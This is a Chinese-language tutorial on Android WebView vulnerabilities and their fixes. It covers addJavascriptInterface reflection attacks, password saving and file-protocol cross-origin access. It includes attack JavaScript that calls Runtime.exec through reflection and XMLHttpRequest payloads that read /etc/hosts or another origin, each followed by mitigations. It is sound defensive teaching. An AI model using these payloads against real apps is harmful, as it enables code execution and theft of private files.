(1)Android中WebView基本使用介绍与案例
(2)Android中WebView与JS交互方式详解
(3)Android 中 WebView 使用漏洞相关介绍
(4)Android中WebView 缓存机制 & 资源加载方案
下面就全面介绍 WebView的使用中的漏洞及其修复方式
WebView中,主要漏洞有三类:
出现该漏洞的原因有三个:
A. 漏洞产生原因
JS调用Android的其中一个方式是通过addJavascriptInterface接口进行对象映射:
webView.addJavascriptInterface(new JSObject(), "myObj");
// 参数1:Android的本地对象
// 参数2:JS的对象
// 通过对象映射将Android中的本地对象和JS中的对象进行关联,从而实现JS调用Android的对象和方法
所以,漏洞产生原因是:
当JS拿到Android这个对象后,就可以调用这个Android对象中所有的方法,包括系统类(java.lang.Runtime 类),从而进行任意代码执行。
如可以执行命令获取本地设备的SD卡中的文件等信息从而造成信息泄露
具体获取系统类的描述:(结合 Java 反射机制)
以下是攻击的Js核心代码:
function execute(cmdArgs) {
// 步骤1:遍历 window 对象
// 目的是为了找到包含 getClass ()的对象
// 因为Android映射的JS对象也在window中,所以肯定会遍历到
for (var obj in window) {
if ("getClass" in window[obj]) {
// 步骤2:利用反射调用forName()得到Runtime类对象
alert(obj);
return window[obj].getClass().forName("java.lang.Runtime")
// 步骤3:以后,就可以调用静态方法来执行一些命令,比如访问文件的命令
getMethod("getRuntime",null).invoke(null,null).exec(cmdArgs);
// 从执行命令后返回的输入流中得到字符串,有很严重暴露隐私的危险。
// 如执行完访问文件的命令之后,就可以得到文件名的信息了。
}
}
}
B. 解决方案
B1. Android 4.2版本之后
Google 在Android 4.2 版本中规定对被调用的函数以 @JavascriptInterface进行注解从而避免漏洞攻击
B2. Android 4.2版本之前
在Android 4.2版本之前采用拦截prompt()进行漏洞修复。
具体步骤如下:
将需要添加的 JS 接口放入该Map中
每次当 WebView 加载页面前加载一段本地的 JS 代码,原理是:
关于Android返回给JS的值:可通过prompt()把Java中方法的处理结果返回到Js中
具体需要加载的JS代码如下:
javascript:(function JsAddJavascriptInterface_(){
// window.jsInterface 表示在window上声明了一个Js对象
// jsInterface = 注册的对象名
// 它注册了两个方法,onButtonClick(arg0)和onImageClick(arg0, arg1, arg2)
// 如果有返回值,就添加上return
if (typeof(window.jsInterface)!='undefined') {
console.log('window.jsInterface_js_interface_name is exist!!');
} else {
window.jsInterface = {
// 声明方法形式:方法名: function(参数)
onButtonClick:function(arg0) {
// prompt()返回约定的字符串
// 该字符串可自己定义
// 包含特定的标识符MyApp和 JSON 字符串(方法名,参数,对象名等)
return prompt('MyApp:'+JSON.stringify({obj:'jsInterface',func:'onButtonClick',args:[arg0]})); },
onImageClick:function(arg0,arg1,arg2) {
return prompt('MyApp:'+JSON.stringify({obj:'jsInterface',func:'onImageClick',args:[arg0,arg1,arg2]}));
},};}})()
// 当JS调用 onButtonClick() 或 onImageClick() 时,就会回调到Android中的 onJsPrompt ()
// 我们解析出方法名,参数,对象名
// 再通过反射机制调用Java对象的方法
细节1:加载上述JS代码的时机
由于当 WebView 跳转到下一个页面时,之前加载的 JS 可能已经失效
onLoadResource();
doUpdateVisitedHistory();
onPageStarted();
onPageFinished();
onReceivedTitle();
onProgressChanged();
细节2:需要过滤掉 Object 类的方法
由于最终是通过反射得到Android指定对象的方法,所以同时也会得到基类的其他方法(最顶层的基类是 Object类)
getClass()
hashCode()
notify()
notifyAl()
equals()
toString()
wait()
A. 漏洞产生原因
B. 解决方案
// 通过调用该方法删除接口
removeJavascriptInterface();
问题分析与解决方案同上,这里不作过多阐述。
WebView默认开启密码保存功能 :
mWebView.setSavePassword(true)
关闭密码保存提醒
WebSettings.setSavePassword(false)
先看Android里的 WebViewActivity.java:
public class WebViewActivity extends Activity {
private WebView webView;
public void onCreate(Bundle savedInstanceState) {
super.onCreate(savedInstanceState);
setContentView(R.layout.activity_webview);
webView = (WebView) findViewById(R.id.webView);
//webView.getSettings().setAllowFileAccess(false); (1)
//webView.getSettings().setAllowFileAccessFromFileURLs(true); (2)
//webView.getSettings().setAllowUniversalAccessFromFileURLs(true); (3)
Intent i = getIntent();
String url = i.getData().toString();
//url = file:///data/local/tmp/attack.html webView.loadUrl(url);
}
}
Mainifest.xml
// 将该 WebViewActivity 在Mainifest.xml设置exported属性
// 表示:当前Activity是否可以被另一个Application的组件启动
android:exported="true"
即 A 应用可以通过 B 应用导出的 Activity 让 B 应用加载一个恶意的 file 协议的 url,从而可以获取 B 应用的内部私有文件,从而带来数据泄露威胁
具体:当其他应用启动此 Activity 时, intent 中的 data 直接被当作 url 来加载(假定传进来的 url 为 file:///data/local/tmp/attack.html ),
其他 APP 通过使用显式 ComponentName 或者其他类似方式就可以很轻松的启动该 WebViewActivity 并加载恶意url。
下面我们着重分析WebView中getSettings类的方法对 WebView 安全性的影响:
1. setAllowFileAccess()
// 设置是否允许 WebView 使用 File 协议
webView.getSettings().setAllowFileAccess(true);
// 默认设置为true,即允许在 File 域下执行任意 JavaScript 代码
使用 file 域加载的 js代码能够使用进行同源策略跨域访问,从而导致隐私信息泄露
如果不允许使用 file 协议,则不会存在上述的威胁;
webView.getSettings().setAllowFileAccess(true);
但同时也限制了 WebView 的功能,使其不能加载本地的 html 文件,如下图:
移动版的 Chrome 默认禁止加载 file 协议的文件
解决方案:
setAllowFileAccess(false);
setAllowFileAccess(true);
// 禁止 file 协议加载 JavaScript
if (url.startsWith("file://") {
setJavaScriptEnabled(false);
} else {
setJavaScriptEnabled(true);
}
2. setAllowFileAccessFromFileURLs()
// 设置是否允许通过 file url 加载的 Js代码读取其他的本地文件
webView.getSettings().setAllowFileAccessFromFileURLs(true);
// 在Android 4.1前默认允许
// 在Android 4.1后默认禁止
当AllowFileAccessFromFileURLs()设置为 true 时,攻击者的JS代码为:
<script>
function loadXMLDoc() {
var arm = "file:///etc/hosts";
var xmlhttp;
if (window.XMLHttpRequest) {
xmlhttp=new XMLHttpRequest();
}
xmlhttp.onreadystatechange=function() {
//alert("status is"+xmlhttp.status);
if (xmlhttp.readyState==4) {
console.log(xmlhttp.responseText);
}
}
xmlhttp.open("GET",arm);
xmlhttp.send(null);
}
loadXMLDoc();
script>
// 通过该代码可成功读取 /etc/hosts 的内容数据
解决方案:设置setAllowFileAccessFromFileURLs(false);
当设置成为 false 时,上述JS的攻击代码执行会导致错误,表示浏览器禁止从 file url 中的 javascript 读取其它本地文件。
3. setAllowUniversalAccessFromFileURLs()
// 设置是否允许通过 file url 加载的 Javascript 可以访问其他的源(包括http、https等源)
webView.getSettings().setAllowUniversalAccessFromFileURLs(true);
// 在Android 4.1前默认允许(setAllowFileAccessFromFileURLs()不起作用)
// 在Android 4.1后默认禁止
当AllowFileAccessFromFileURLs()被设置成true时,攻击者的JS代码是:
// 通过该代码可成功读取 http://www.so.com 的内容
<script>
function loadXMLDoc() {
var arm = "http://www.so.com";
var xmlhttp;
if (window.XMLHttpRequest) {
xmlhttp=new XMLHttpRequest();
}
xmlhttp.onreadystatechange=function() {
//alert("status is"+xmlhttp.status);
if (xmlhttp.readyState==4) {
console.log(xmlhttp.responseText);
}
}
xmlhttp.open("GET",arm);
xmlhttp.send(null);
}
loadXMLDoc();
script>
解决方案:设置setAllowUniversalAccessFromFileURLs(false);
4. setJavaScriptEnabled()
// 设置是否允许 WebView 使用 JavaScript(默认是不允许)
webView.getSettings().setJavaScriptEnabled(true);
// 但很多应用(包括移动浏览器)为了让 WebView 执行 http 协议中的 JavaScript,都会主动设置为true,不区别对待是非常危险的。
即使把setAllowFileAccessFromFileURLs()和setAllowUniversalAccessFromFileURLs()都设置为 false,通过 file URL 加载的 javascript 仍然有方法访问其他的本地文件:符号链接跨源攻击
前提是允许 file URL 执行 javascript,即webView.getSettings().setJavaScriptEnabled(true);
这一攻击能奏效的原因是:通过 javascript 的延时执行和将当前文件替换成指向其它文件的软链接就可以读取到被符号链接所指的文件。具体攻击步骤:
注:在该命令执行前 xx.html 是不存在的;执行完这条命令之后,就生成了这个文件,并且将 Cookie 文件链接到了 xx.html 上。
于是就可通过链接来访问 Chrome 的 Cookie
如果是 file 协议,禁用 javascript 可以很大程度上减小跨源漏洞对 WebView 的威胁。
最终解决方案
// 禁用 file 协议;
setAllowFileAccess(false);
setAllowFileAccessFromFileURLs(false);
setAllowUniversalAccessFromFileURLs(false);
// 需要使用 file 协议
setAllowFileAccess(true);
setAllowFileAccessFromFileURLs(false);
setAllowUniversalAccessFromFileURLs(false);
// 禁止 file 协议加载 JavaScript
if (url.startsWith("file://") {
setJavaScriptEnabled(false);
} else {
setJavaScriptEnabled(true);
}